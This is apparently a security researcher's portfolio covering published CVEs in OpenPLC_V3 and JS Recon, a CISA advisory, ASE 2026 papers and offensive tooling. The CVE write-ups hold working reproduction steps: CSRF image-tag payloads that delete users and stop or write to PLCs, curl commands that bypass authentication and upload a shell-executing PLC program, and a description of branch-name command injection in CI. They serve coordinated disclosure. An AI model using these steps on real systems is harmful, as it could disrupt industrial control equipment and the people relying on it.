Shriyans Sudhi

Shriyans Sudhi - offensive security researcher. Published at ASE 2026, CVEs in ICS software, pentesting, bug bounties and open-source security tools.

Offensive security researcher. I recover the logic hidden in compiled web apps, find critical bugs in industrial control software, and build open-source tools like JS Recon.

- **2** papers at ASE 2026
- **3** critical CVEs
- **1** CISA ICS advisory
- **2×** BHIS internships


I find what software leaks after it ships.

- **Conference**: ASE 2026 (41st IEEE/ACM International Conference on Automated Software Engineering)
- **Track**: Research Papers
- **Dates**: October 12-16, 2026, Munich, Germany
- **Author**: Shriyans Sudhi
- **Corresponding Author**: <a href="https://yinxi.site" target="_blank" rel="noopener noreferrer">Yinxi Liu</a>

Accepted at ASE 2026. Published at [doi.org/10.1145/3832783.3837419](https://dl.acm.org/doi/10.1145/3832783.3837419). Full details: [conf.researchr.org/profile/ase-2026/shriyanssudhi](https://conf.researchr.org/profile/ase-2026/shriyanssudhi)


Research paper accepted at ASE 2026 (Research Papers track) on automated semantic recovery of post-compilation abstraction leaks in the web - Shriyans Sudhi

<Toast>**Considering OpenPLC V3 is End of Life, either update to OpenPLC Runtime v4 or the fork patched by me can be used*: https://github.com/shriyanss/OpenPLC_V3**</Toast>

<small>*Provided without warranty</small>

- **CVE-2026-35556**
- **CVSS 4.0 Score**: 9.2 (Critical)
- **CVSS 4.0 Vector**: [CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
- **CWE(s)**: [CWE-256 Plaintext storage of a password](https://cwe.mitre.org/data/definitions/256.html)

# Official

## Description

OpenPLC_V3 is vulnerable to a Plaintext Storage of a Password vulnerability that could allow an attacker to retrieve credentials and access sensitive information.

## Remediation

OpenPLC_v3 is now considered to be end of life. Users are recommended to upgrade to OpenPLC Runtime v4 (https://github.com/autonomy-logic/openplc-runtime)

# Technical Details

The passwords from the Web UI are stored plaintext in the database file in the installation directory. The path to the database file in the installation directory is `werbserver/openplc.db`

# Timeline

**Date format**: `YYYY-MM-DD`

- **Discovery**: 2026-02-13
- **Reported**: 2026-02-14
- **Fixed**: 2026-02-19
- **Published**: 2026-04-25


OpenPLC_V3 is vulnerable to a Plaintext Storage of a Password vulnerability that could allow an attacker to retrieve credentials and access sensitive information. - Discovered by Shriyans Sudhi

CVE-2026-35556: Plaintext storage of a password in OpenPLC_V3

- **Conference**: ASE 2026 (41st IEEE/ACM International Conference on Automated Software Engineering)
- **Track**: Research Papers
- **Dates**: October 12-16, 2026, Munich, Germany
- **Author**: Shriyans Sudhi

Accepted at ASE 2026. Published at [doi.org/10.1145/3832783.3844581](https://dl.acm.org/doi/10.1145/3832783.3844581). Full details: [conf.researchr.org/profile/ase-2026/shriyanssudhi](https://conf.researchr.org/profile/ase-2026/shriyanssudhi)


Research paper accepted at ASE 2026 (Research Papers track) on an LLM agent for logic-defined exposures in recovered JavaScript - Shriyans Sudhi

Secrets Without Signatures: An LLM Agent for Logic-Defined Exposures in Recovered JavaScript

Decompiling the Web: Automated Semantic Recovery of Post-compilation Abstraction Leaks

- **CVE-2026-55378** / [GHSA-w9cj-mg3x-qjm4](https://github.com/js-recon/js-recon/security/advisories/GHSA-w9cj-mg3x-qjm4)
- **CVSS 4.0 Score**: 9.3 (Critical)
- **CVSS 4.0 Vector**: [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N)
- **CWE(s)**: [CWE-78 OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)

# The story

I wrote this bug.

In August 2025 I added a small GitHub Actions workflow to [JS Recon](/projects/js-recon) that checks whether a pull request targets the right branch and leaves a comment if it doesn't. It worked, so I never looked at it again.

About ten months later I came back to it and realised the comment was built by dropping the PR's branch name and fork name straight into a shell command. Anyone on GitHub could have opened a PR with a crafted branch name and run commands on the runner. For a security tool that people install and run against real targets, that is a supply-chain problem, not just a CI problem.

So I patched it and published an advisory against my own project, which was assigned CVE-2026-55378. Lesson learned: every `${{ github.* }}` value that a stranger can influence is attacker input.

# Official

## Description

The `PR Branch Checker` workflow (`.github/workflows/pr_checker.yml`) interpolated two untrusted values, `github.head_ref` (the source branch name) and `github.event.pull_request.head.repo.full_name` (the fork's full name), directly into a shell `gh pr comment` command via unquoted environment variables:

```yaml
env:
  BRANCH_NAME: ${{ github.head_ref }}
  SOURCE_REPO: ${{ github.event.pull_request.head.repo.full_name }}
run: |
  gh pr comment $PR_NUMBER --body "... (source: `$SOURCE_REPO:$BRANCH_NAME`)."
```

Any GitHub user who can open a pull request targeting `main` could craft a branch name or fork name containing shell metacharacters (backticks, `$(...)`, `&&`, `;`, newlines) to execute arbitrary commands in the Actions runner. The runner had `pull-requests: write` permission and access to `GITHUB_TOKEN`, which could have been used to tamper with the repository or stage a malicious release of the scanner.

## Remediation

Fixed in commit [447876c](https://github.com/js-recon/js-recon/commit/447876c) (2026-06-12). The fix removes `BRANCH_NAME` and `SOURCE_REPO` from the workflow entirely and replaces the dynamic comment body with static text. No user action is required: the vulnerability was in CI infrastructure, not in the published package.

See also: [GitHub Actions: understanding the risk of script injections](https://docs.github.com/en/actions/reference/security/secure-use#understanding-the-risk-of-script-injections)

# Timeline

**Date format**: `YYYY-MM-DD`

- **Introduced**: 2025-08-07
- **Fixed**: 2026-06-12
- **Published**: 2026-06-22


CVE-2026-55378 / GHSA-w9cj-mg3x-qjm4: command injection via untrusted pull request context in the JS Recon PR Branch Checker GitHub Actions workflow. Introduced, found and fixed by Shriyans Sudhi.

**Official US-CERT Advisory**: [ICSA-25-345-10](https://www.cisa.gov/news-events/ics-advisories/icsa-25-345-10)

## Overview

I found a few vulnerabilities in OpenPLC_V3 during a *casual past-midnight code audit*. I reported them to US-CERT (Cybersecurity and Infrastructure Security Agency - CISA).

## Recommendations

- OpenPLC_V3 is end-of-life and no longer receiving updates. Users should migrate to OpenPLC V4
- If updating to OpenPLC V4 is not possible, users should apply the latest security patches
  - The fork fixing these issues can be found at: https://github.com/shriyanss/OpenPLC_v3 (Unofficial; provided without warranty)

## Vulnerabilities
- [CVE-2026-28205](/research/cve/CVE-2026-28205): Initialization of a resource with an insecure default in OpenPLC_V3
- [CVE-2026-35556](/research/cve/CVE-2026-35556): Plaintext storage of a password in OpenPLC_V3
- Incomplete remediation for [CVE-2025-13970](https://www.cve.org/CVERecord?id=CVE-2025-13970)

## Technical Details

### [CVE-2026-28205](/research/cve/CVE-2026-28205)

More details can be found at [/research/cve/CVE-2026-28205](/research/cve/CVE-2026-28205).

### [CVE-2026-35556](/research/cve/CVE-2026-35556)

More details can be found at [/research/cve/CVE-2026-35556](/research/cve/CVE-2026-35556).

### Incomplete remediation for [CVE-2025-13970](https://www.cve.org/CVERecord?id=CVE-2025-13970)

#### Description
Multiple CSRF were identified in [OpenPLC_v3](https://github.com/thiagoralves/OpenPLC_v3) which could potentially cause service disruption.
#### Affected Project
[`master`](https://github.com/thiagoralves/OpenPLC_v3) branch as of Feb 14th 2026, or at commit hash [`bb35f6966b3e0258114284e3e6c11d7b5d32de8c`](https://github.com/thiagoralves/OpenPLC_v3/commit/bb35f6966b3e0258114284e3e6c11d7b5d32de8c)

#### CVSS Info
CVSS Score: 8.0
CVSS Vector String: [`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:H1`](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:H)
Justification:
- **Attack Vector (AV): Network** - This attack could be executed over the internet
- **Attack Complexity (AC): High** - This attack requires significant reconnaissance on the target person before it could be executed
- **Privileges Required (PR): None** - This attack does not requires an adversary to have any privileges
- **User Interaction (UI): Required** - This attack requires the victim to visit a webpage
- **Scope (S): Changed** - This attack affects underlying OT systems
- **Confidentiality (C): None** - This attack doesn't impact confidentiality of data
- **Integrity (I): High** - This attack allows an adversary to perform actions like modifying register values of an OT system
- **Availability (A): High** - This attack allows an adversary to completely shut down the OT systems
#### Root Cause
Upon re-evaluation of fix(es) for [CVE-2025-13970](https://www.cve.org/CVERecord?id=CVE-2025-13970), it was found that the issue has been partially fixed. Some functionalities remain vulnerable to CSRF.

##### `GET /delete-user`
Following is the code responsible for handling this endpoint:

```python
@app.route('/delete-user', methods=['GET', 'POST'])
def delete_user():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        user_id = flask.request.args.get('user_id')
        database = "openplc.db"
        conn = create_connection(database)
        if (conn != None):
            try:
                cur = conn.cursor()
                cur.execute("SELECT username FROM Users WHERE user_id = ?", (int(user_id),))
                row = cur.fetchone()
                if (flask_login.current_user.id == row[0]):
                    cur.close()
                    conn.close()
                    return draw_blank_page() + "<h2>Error</h2><p>You cannot delete yourself!<br><br>Use the back-arrow on your browser to return</p></div></div></div></body></html>"
                else:
                    cur = conn.cursor()
                    cur.execute("DELETE FROM Users WHERE user_id = ?", (int(user_id),))
                    conn.commit()
                    cur.close()
                    conn.close()
                    return flask.redirect(flask.url_for('users'))
            except Error as e:
                print("error connecting to the database" + str(e))
                return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.<br><br>Error: ' + str(e)
        else:
            return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.'
```

It does not have any validation for CSRF token. This implies that an adversary can delete a user by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/delete-user?user_id=1">
<img src="http://target/delete-user?user_id=2">
<img src="http://target/delete-user?user_id=3">
<img src="http://target/delete-user?user_id=4">
<img src="http://target/delete-user?user_id=5">
<img src="http://target/delete-user?user_id=6">
<img src="http://target/delete-user?user_id=7">
...
```

##### `GET /remove-program`
Following is the code responsible for handling this endpoint:

```python
@app.route('/remove-program', methods=['GET', 'POST'])
def remove_program():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        prog_id = flask.request.args.get('id')
        database = "openplc.db"
        conn = create_connection(database)
        if (conn != None):
            try:
                cur = conn.cursor()
                cur.execute("DELETE FROM Programs WHERE Prog_ID = ?", (int(prog_id),))
                conn.commit()
                cur.close()
                conn.close()
                return flask.redirect(flask.url_for('programs'))
                
            except Error as e:
                print("error connecting to the database" + str(e))
                return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.<br><br>Error: ' + str(e)
        else:
            return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.'

```

It does not have any validation for CSRF token. This implies that an adversary can delete a program by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/remove-program?id=1">
<img src="http://target/remove-program?id=2">
<img src="http://target/remove-program?id=3">
<img src="http://target/remove-program?id=4">
<img src="http://target/remove-program?id=5">
<img src="http://target/remove-program?id=6">
<img src="http://target/remove-program?id=7">
...
```

##### `GET /delete-device`
Following is the code responsible for handling this endpoint:

```python
@app.route('/delete-device', methods=['GET', 'POST'])
def delete_device():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        devid_db = flask.request.args.get('dev_id')
        database = "openplc.db"
        conn = create_connection(database)
        if (conn != None):
            try:
                cur = conn.cursor()
                cur.execute("DELETE FROM Slave_dev WHERE dev_id = ?", (int(devid_db),))
                conn.commit()
                cur.close()
                conn.close()
                generate_mbconfig()
                return flask.redirect(flask.url_for('modbus'))
            except Error as e:
                print("error connecting to the database" + str(e))
                return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.<br><br>Error: ' + str(e)
        else:
            return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.'

```

It does not have any validation for CSRF token. This implies that an adversary can delete a device by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/delete-device?dev_id=1">
<img src="http://target/delete-device?dev_id=2">
<img src="http://target/delete-device?dev_id=3">
<img src="http://target/delete-device?dev_id=4">
<img src="http://target/delete-device?dev_id=5">
<img src="http://target/delete-device?dev_id=6">
<img src="http://target/delete-device?dev_id=7">
...
```

##### `GET /start_plc`
Following is the code responsible for handling this endpoint:

```python
@app.route('/start_plc')
def start_plc():
    global openplc_runtime
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        monitor.stop_monitor()
        openplc_runtime.start_runtime()
        time.sleep(1)
        configure_runtime()
        monitor.cleanup()
        monitor.parse_st(openplc_runtime.project_file)
        return flask.redirect(flask.url_for('dashboard'))

```

It does not have any validation for CSRF token. This implies that an adversary can start the PLC by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/start_plc">
```

##### `GET /stop_plc`
Following is the code responsible for handling this endpoint:

```python
@app.route('/stop_plc')
def stop_plc():
    global openplc_runtime
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        openplc_runtime.stop_runtime()
        time.sleep(1)
        monitor.stop_monitor()
        return flask.redirect(flask.url_for('dashboard'))

```

It does not have any validation for CSRF token. This implies that an adversary can start the PLC by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/stop_plc">
```

##### `GET /point-write`
Following is the code responsible for handling this endpoint:

```python
@app.route('/point-write', methods=['GET', 'POST'])
def point_write():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        point_value = flask.request.args.get('value')
        point_address = flask.request.args.get('address')
        monitor.write_value(point_address, int(point_value))
        return ''

```

It does not have any validation for CSRF token. This implies that an adversary can write an arbitrary value to an address by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/point-write?address=100&value=1">
...
```


##### `GET /compile-program`
Following is the code responsible for handling this endpoint:

```python
@app.route('/compile-program', methods=['GET', 'POST'])
def compile_program():
    global openplc_runtime
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        st_file = flask.request.args.get('file')
        
        #load information about the program being compiled into the openplc_runtime object
        database = "openplc.db"
        conn = create_connection(database)
        if (conn != None):
            try:
                cur = conn.cursor()
                cur.execute("SELECT * FROM Programs WHERE File=?", (st_file,))
                row = cur.fetchone()
                openplc_runtime.project_name = str(row[1])
                openplc_runtime.project_description = str(row[2])
                openplc_runtime.project_file = str(row[3])
                cur.close()
                conn.close()
            except Error as e:
                print("error connecting to the database" + str(e))
        else:
            print("error connecting to the database")
        
        delete_persistent_file()
        openplc_runtime.compile_program(st_file)
        
        return draw_compiling_page()

```

It does not have any validation for CSRF token. This implies that an adversary can write an arbitrary value to an address by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/compile-program?file=main.st">
...
```

##### `GET /restore_custom_hardware`
Following is the code responsible for handling this endpoint:

```python
def restore_custom_hardware():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        
        #Restore the original custom layer code
        with open('./core/psm/main.original') as f: original_code = f.read()
        with open('./core/psm/main.py', 'w+') as f: f.write(original_code)
        return flask.redirect(flask.url_for('hardware'))

```

It does not have any validation for CSRF token. This implies that an adversary can write an arbitrary value to an address by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/compile-program?file=main.st">
...
```


## Disclosure Timeline

**Date format**: `YYYY-MM-DD`

- **2026-02-13**: CSRF Initial Discovery
- **2026-02-13**: CSRF Disclosed to CISA
- **2026-02-13**: Insecure Storage of Sensitive Information Discovered
- **2026-02-14**: Insecure Initialization of Resource discovered
- **2026-02-14**: Undisclosed Vulnerabilities Discovered
- **2026-02-17**: Pull Request for CSRF: https://github.com/thiagoralves/OpenPLC_v3/pull/319
- **2026-02-19**: Pull Request for Hashing: https://github.com/thiagoralves/OpenPLC_v3/pull/320
- **2026-02-25**: Pull Request for Program Upload: https://github.com/thiagoralves/OpenPLC_v3/pull/322
- **2026-04-25**: Advisory Update Published
- **2026-04-25**: CVEs Assigned

Multiple CVEs in OpenPLC_V3, two of which were discovered by me

ICSA-25-345-10 - OpenPLC_V3 (Update A)

CVE-2026-55378: Command injection in JS Recon's PR Branch Checker workflow

<Toast>**Considering OpenPLC V3 is End of Life, either update to OpenPLC Runtime v4 or the fork patched by me can be used*: https://github.com/shriyanss/OpenPLC_V3**</Toast>

<small>*Provided without warranty</small>

- **CVE-2026-28205**
- **CVSS 4.0 Score**: 9.2 (Critical)
- **CVSS 4.0 Vector**: [CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H)
- **CWE(s)**: [CWE-1188 Initialization of a resource with an insecure default](https://cwe.mitre.org/data/definitions/1188.html)

# Official

## Description

OpenPLC_V3 is vulnerable to an Initialization of a Resource with an Insecure Default vulnerability which could allow an attacker to gain access to the system by bypassing authentication via an API.

## Remediation

OpenPLC_v3 is now considered to be end of life. Users are recommended to upgrade to OpenPLC Runtime v4 (https://github.com/autonomy-logic/openplc-runtime)

# Technical Details

## Affected Project

[`master`](https://github.com/thiagoralves/OpenPLC_v3) branch as of Feb 14th 2026, or at commit hash [`bb35f6966b3e0258114284e3e6c11d7b5d32de8c`](https://github.com/thiagoralves/OpenPLC_v3/commit/bb35f6966b3e0258114284e3e6c11d7b5d32de8c)

## CVSS Info

CVSS Score: 8.9
CVSS Vector String: [`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H`](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H)

Justification:

- **Attack Vector (AV): Network** - This attack could be executed over the internet
- **Attack Complexity (AC)**: High - This attack requires the HTTPS port to be exposed.
- **Privileges Required (PR): None** - This attack does not requires an adversary to have any privileges
- **User Interaction (UI):** None - This attack does not require any user interactions
- **Scope (S): Changed** - This attack affects underlying OT systems
- **Confidentiality (C): Low** - This attack reveals some data from the target to the attacker
- **Integrity (I): High** - This attack allows an adversary to perform actions like modifying register values of an OT system
- **Availability (A): High** - This attack allows an adversary to completely shut down the OT systems

## Steps to Reproduce:

On a default installation of OpenPLC_v3, the program opens two ports: http:8080 and https:8443. This attack requires the adversary to send the requests described below to https:8443 port. SENDING REQUESTS TO HTTP:8080 WILL NOT WORK.

Assuming that the target is on `https://localhost:8443` (please change the host as required):

- Create a new user through API:

```bash
curl https://localhost:8443/api/create-user -X POST -H "Content-Type: application/json" -d '{"username":"test","password":"test"}' -k
```

- Login and get the JWT token:

```bash
JWT=$(curl https://localhost:8443/api/login -X POST -H "Content-Type: application/json" -d '{"username":"test","password":"test"}' -k | jq -r '.access_token')
```

- As a server-admin, the web UI, after authenticating with `openplc:openplc`, shows that there are no new users created: `http://target/users`

- As an adversary, the PLC can be started with the following command:

```bash
curl https://localhost:8443/api/start-plc -H "Authorization: Bearer $JWT" -k
```

- This action could be verified by visiting `http://target/dashboard`
- Similarly, the PLC could be stopped:

```bash
curl https://localhost:8443/api/stop-plc -H "Authorization: Bearer $JWT" -k
```

- An adversary could also tamper the `webserver_program.st` program:

```bash
curl -k $'https://localhost:8443/api/upload-file' -X $'POST' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' -H "Authorization: Bearer $JWT" --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name="file"; filename="testt.st"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0aPROGRAM ShellExec\x0a  VAR\x0a    trigger : BOOL;\x0a    command_sent : BOOL;\x0a  END_VAR\x0a\x0a  {\x0a    #include <stdlib.h>\x0a  }\x0a\x0a  IF trigger AND NOT command_sent THEN\x0a    {\x0a      system("ls -la / > /tmp/output.txt");\x0a    }\x0a    command_sent := TRUE;\x0a  END_IF;\x0a\x0a  IF NOT trigger THEN\x0a    command_sent := FALSE;\x0a  END_IF;\x0a  \x0aEND_PROGRAM\x0a\x0aCONFIGURATION Config0\x0a  RESOURCE Res0 ON PLC\x0a    TASK Main(INTERVAL := T#100ms, PRIORITY := 0);\x0a    PROGRAM Inst0 WITH Main : ShellExec;\x0a  END_RESOURCE\x0aEND_CONFIGURATION\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--'
```

- The compilation logs could be retrieved using the following command:

```bash
curl https://localhost:8443/api/compilation-status -H "Authorization: Bearer $JWT" -k
```

Upon inspection of the Web UI, no signup feature was discovered. This is NOT SAME AS NORMAL USER SIGNUP because:

- The user database table is not connected
  - However, they allow access to the same resource(s)
- The API is undocumented, leading to no API users being created in most installations

In addition to the aforementioned vulnerability, the passwords from the Web UI are stored plaintext in the database file in the installation directory. The path to the database file in the installation directory is `werbserver/openplc.db`. This vulnerability is tracked as [CVE-2026-35556](/research/cve/CVE-2026-35556).

## Root Cause

An API endpoint `/api/create-user` was introduced in OpenPLC_v3 6 months ago. The following is the code for that as of Feb 14th 2025:

```python
@restapi_bp.route("/create-user", methods=["POST"])
def create_user():
    # check if there are any users in the database
    try:
        users_exist = User.query.first() is not None
    except Exception as e:
        logger.error(f"Error checking for users: {e}")
        return jsonify({"msg": "User creation error"}), 401

    # if there are no users, we don't need to verify JWT
    if users_exist and verify_jwt_in_request(optional=True) is None:
        return jsonify({"msg": "User already created!"}), 401

    data = request.get_json()
    username = data.get("username")
    password = data.get("password")
    role = data.get("role", "user")

    if not username or not password:
        return jsonify({"msg": "Missing username or password"}), 400

    if User.query.filter_by(username=username).first():
        return jsonify({"msg": "Username already exists"}), 409

    # Create a new user
    user = User(username=username, role=role)
    user.set_password(password)
    db.session.add(user)
    db.session.commit()

    return jsonify({"msg": "User created", "id": user.id}), 201
```

This endpoint checks if any user exists in the database. By default, OpenPLC_v3 web UI has a default user `openplc:openplc`. The flaw exists in higher code hierarchy, API where the application loads the database.

The web UI uses the database at `openplc.db`, while the API uses the database at `instance/{DB_PATH}` (`{DB_PATH}` is not a placeholder, rather the actual filename). This difference, along with missing documentation on API, makes the endpoint open to attackers.

# Timeline

**Date format**: `YYYY-MM-DD`

- **Discovery**: 2026-02-14
- **Reported**: 2026-02-14
- **Fixed**: 2026-02-25
- **Published**: 2026-04-25


OpenPLC_V3 is vulnerable to an Initialization of a Resource with an Insecure Default vulnerability which could allow an attacker to gain access to the system by bypassing authentication via an API - Discovered by Shriyans Sudhi

CVE-2026-28205: Initialization of a resource with an insecure default in OpenPLC_V3

Peer-reviewed papers at ASE 2026 in Munich, plus CVEs and a CISA advisory from vulnerability research.

Research

A powerful tool for JavaScript reconnaissance - discover, download, and analyze JS to uncover endpoints, secrets, and reconstruct HTTP requests to OpenAPI.


JS Recon is a tool for JavaScript reconnaissance. It helps discover, download, and analyze JavaScript files from web apps to uncover endpoints, secrets, and other valuable findings. It can also reconstruct HTTP requests an app makes and export them to OpenAPI.

I started this project in June 2025 during my internship at [Black Hills Information Security](https://blackhillsinfosec.com).

- Repository: [github.com/shriyanss/js-recon](https://github.com/shriyanss/js-recon)
- Docs Site: https://js-recon.io

## Key features

- Download dynamically loaded JS (lazy-loaded bundles) from supported frameworks
- Extract URLs, strings, endpoints, and potential secrets from JS files
- Reconstruct HTTP requests and export to OpenAPI
- Analyze JS code and HTTP request behavior for potential issues
- Orchestrate end-to-end assessments with the `run` module
- Optional AWS API Gateway IP rotation to reduce rate-limit issues
- Generate consolidated reports from analysis results

## More info

Please visit the [JS Recon site](https://js-recon.io) for more information.


A powerful tool for JavaScript reconnaissance - discover, download, and analyze JS to uncover endpoints, secrets, and reconstruct HTTP requests to OpenAPI.

A deterministic hashing scheme for general-tree ASTs in SAST scanners, enabling reliable subtree fingerprinting and constant-time node lookup via Merkle-style signatures.


CS-MAST (Context-Stratified Merkelized Abstract Syntax Tree) is a novel data structure that integrates Merkle-style hashing into general-tree ASTs for use in Static Application Security Testing (SAST) scanners and JavaScript fingerprinting pipelines.

This work was published as a whitepaper while at Rochester Institute of Technology, and the implementation is used in [JS Recon](/projects/js-recon) for AST-level code pattern matching.

- Docs site: [cs-mast.ss0x00.com](https://cs-mast.ss0x00.com)

## Problem

Applying Merkle Tree hashing to ASTs in SAST scanners surfaces two structural problems:

- **Structural incompatibility**: Merkle Trees are defined over binary trees, but ASTs are general trees where nodes may have an arbitrary number of children.
- **Hash collisions**: Prior work (e.g. the Unbundle-Rewrite-Rebundle framework) encountered collisions between AST nodes that were structurally identical but semantically distinct — same tree structure, different source code.

## Solution

CS-MAST introduces **CS-MAST-S** (CS-MAST Signature), a deterministic, parameterized hashing scheme inspired by the PHC String Format. Each node's hash is cryptographically bound to its language, parser, and configurable element categories, eliminating collisions while remaining extensible to new code formats.

The signature encodes:

- Hashing algorithm (`hash`)
- Source language (`lang`) and version (`lver`)
- AST parser (`prsr`)
- Node inclusion settings (`sinc`, `scat`) — controls which node elements contribute to the hash

## Key features

- Extends general-tree ASTs with Merkle-style signatures at every node
- Deterministic: same code + same config always produces the same signature
- Constant-time subtree lookup via a hashmap keyed on CS-MAST-S signatures
- Configurable element categories (`lit`, `id`, `op`, `decl`, `loop`, `cond`, `name`, `val`, `op_name`) for tuning fingerprint granularity
- Cross-file support: independent per-file CS-MASTs can be combined into a single codebase-level signature
- Compatible with standard AST library functions (traversal, extraction) — only mutation operations are restricted

## How it works

CS-MAST traverses the AST in post-order (bottom-up), so child hashes are computed before parents. At each node, the CS-MAST-S hash is calculated from the node type, its semantic properties (name, value, operator), and the hashes of its children — weighted by the active `scat` configuration. The resulting signature string follows the format:

```
$hash=sha256,lang=js,lver=es6,prsr=-babel/parser$<hex-digest>
```

This enables reliable fingerprinting of AST subtrees and constant-time dictionary lookup in SAST pipelines such as JS Recon.

## More info

Please visit the [CS-MAST docs site](https://cs-mast.ss0x00.com) for full specification and usage details.


CS-MAST (Context-Stratified Merkelized Abstract Syntax Tree) is a novel data structure that integrates Merkle-style hashing into general-tree ASTs for use in SAST scanners and JavaScript fingerprinting.

CS-MAST

subdomain-permut is a tool that simplifies the subdomain permutation process for DNS bruteforcing and target discovery

subdomain-permut is a tool that simplifies the subdomain permutation process for DNS bruteforcing and target discovery. It is a Python based tool, which takes the user inputs, and is capable of generating several 100 GBs of permutations. Please note that this tool is expected to run several hours and is expected to run on a VPS.

This project has its code hosted on [GitHub/@shriyanss/subdomain-permut](https://github.com/shriyanss/subdomain-permut). Additionally, it is also available on [PyPI/subdomain-permut](https://pypi.org/project/subdomain-permut/). To install this tool, you can use the following command

```
pip install subdomain-permut
```

To upgrade the tool in case a new version is available, use the following command

```
pip install --upgrade subdomain-permut
```


subdomain-permut is a tool that simplifies the subdomain permutation process for DNS bruteforcing and target discovery.

Subdomain Permut - Subdomain Permutation tool

JS Recon

VHost Master is a virtual host fuzzer. It is written in Python and utilizes multiple threads to speed up the process. You can find it on GitHub at [GithHub/@shriyanss/vhost-master](http://github.com/shriyanss/vhost-master)


Virtual Host Fuzzer written in Python. A multi-threaded tool to speed up virtual host discovery.

"Subdomains Wordlist" is a repository containing a list of subdomain wordlists that can be used to bruteforce assets for a company. A full blog on how this is generated can be found at [My Website/Blog/SUBDOMAINS WORDLIST. HOW IT IS MADE?](https://ss0x00.com/blog/subdomains-wordlist-how-it-is-made/)

The repository can be found at [GitHub/@shriyanss/subdomains_wordlist](https://github.com/shriyanss/subdomains_wordlist)


A comprehensive wordlist of commonly found subdomains for asset discovery and brute-forcing.

Subdomains wordlist

Javascript payload for exploiting blind XSS. You can simply host `payload.js` file editing the specifications for an ultimate XSS

You can find the repository at [GitHub/@shriyanss/payload-pro](https://github.com/shriyanss/payload-pro)


JavaScript payload configuration for exploiting and managing blind XSS attacks.

Payload Pro

VHost Master

Subdomains wordlist generator helps you generate wordlists from the subdomains found from the subdomain enumeration. It uses a combination of Python and Shell scripts to achieve the task.

You can check this project at [GitHub/@shriyanss/subdomain_wordlist_gen](https://github.com/shriyanss/subdomain_wordlist_gen)


Generate custom subdomain wordlists from enumeration results using Python and Shell scripts.

Subdomains Wordlist Generator

JS Recon is the flagship: discover and analyze JavaScript to map endpoints, secrets and requests.

Open-source tools

Pentest Tool Development Intern · 2025, 2026

Two summers building pentest tooling. The first became [JS Recon](/projects/js-recon).

Black Hills Information Security

2nd in Great Lakes · Global finalist

Collegiate Penetration Testing Competition. Also 9th of 93 teams at DoE CyberForce.

CPTC 2025

Bug bounty · 1000+ reputation

Valid findings for Booking.com, Expedia Group and the US DoD.

HackerOne

Track record

In November 2025, I participated in a [Cyberforce Competition](https://cyberforce.energy.gov/cyberforce-competition/) -- a collegiate cyber competition held in Tinley Park, Illinois by [US Dept. of Energy](https://energy.gov). **Out of 93 teams from across the United States, my team was placed 9th.**

In this competition, I was responsible for:

- Building web apps and maintaining uptime
- Securing the web applications through:
  - Conducting penetration tests
  - Patching the applications
- Detecting any potential backdoors that might've been planted in our environment by the competition organizers
- Working with the team to ensure that the these efforts align with the team's overall goals.

The video below showcases my, and my team member's experience during the competition. This presentation only covers the fundamentals of the competition, and not detailed information about our internal processes for confidentiality reasons.

<YouTubeEmbed url="https://youtu.be/p9eXkGLEXxY?si=UiV96QBQkTcdORKu" title="DoE Cyberforce Experience" />

